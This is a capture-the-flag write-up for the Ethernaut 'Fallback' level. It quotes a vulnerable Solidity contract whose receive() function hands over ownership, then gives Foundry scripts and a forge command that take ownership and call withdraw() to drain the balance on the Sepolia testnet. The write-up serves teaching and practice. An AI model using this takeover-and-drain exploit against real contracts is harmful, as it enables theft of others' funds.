The challenge asks us to claim the ownership of the contract and reduce its balance to 0. In this case, we have been provided with the contract itself.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Fallback {
mapping(address => uint256) public contributions;
address public owner;
constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
The contract presents 3 major functions, namely:
contribute()
: The function is labeled aspayable
andpublic
which basically means that it can receive ether. As the name suggests, it is used to send or contribute, funds to the contract while logging themsg.sender
and their corresponding contributions.It also checks if the contributions made by a
msg.sender
a.k.a user, is more than the that of theowner
and if so, then thismsg.sender
is assigned to theowner
variable i.e. making him the owner.withdraw()
: As the name suggests, this function will allow us to withdraw our balance from the contract. However, it has anonlyOwner
modifier which means that only theowner
address is allowed to withdraw from this contract.receive()
: The function is capable of receiving ether, and is used when the msg body of a transaction is empty i.e. when only ether transfer is made (nocalldata
, such assend
,transfer
, andcall
functions).
It has 2 conditions to allow its execution:The
msg.value
should be greater than0
.The contribution by the
msg.sender
should be greater than0
, i.e. the user should have contributed some amount to the contract.
Solution
The receive()
function simply assigns the msg.sender
as the owner
if any contribution is made - which is a vulnerability.
First we need to send some ether using the
contribute()
function so that the latter condition inside thereceive()
function is satisfied.We need to send a value >
0
in our call to thereceive()
function.
Proof-Of-Concept
We’ll use foundry to write our test script. My first script looks like this:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../lib/forge-std/src/Test.sol";
import "../original-contracts/level1.sol";
contract POC is Test{
Fallback level1 = Fallback(0xAABEd58e8EbFA8FAc885755C65020ef4CC0E7FFB);
function test() external {
vm.startBroadcast();
level1.contribute{value: 1 wei}();
level1.getContribution();
address(level1).transfer(1 wei);
level1.owner();
vm.stopBroadcast();
}
}
Executing the above script gives us the following error:
As can be seen, the transaction ran out of gas. This happened because transfer
or send
function only send 2300
gas whereas call()
sends all the gas provided to it. Note that when you want to just send Ether to another contract via a fallback function, call()
is the recommended approach.
Now we can broadcast this transaction to the Sepolia network using the following script and command:
//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "../lib/forge-std/src/Script.sol";
import "../original-contracts/level1.sol";
contract POC is Script{
Fallback level1 = Fallback(0xAABEd58e8EbFA8FAc885755C65020ef4CC0E7FFB);
function run() external {
vm.startBroadcast();
level1.contribute{value: 1 wei}();
level1.getContribution();
address(level1).call{value: 1 wei}("");
level1.owner();
level1.withdraw();
vm.stopBroadcast();
}
}
Command:
forge script ./script/level1.sol --private-key $PKEY--broadcast -vvvv --rpc-url $RPC_URL
All calls were successful, and we became the owner of the contract. Now we can submit the instance to complete the level.
All of these scripts and tests can be found on my github repo as well.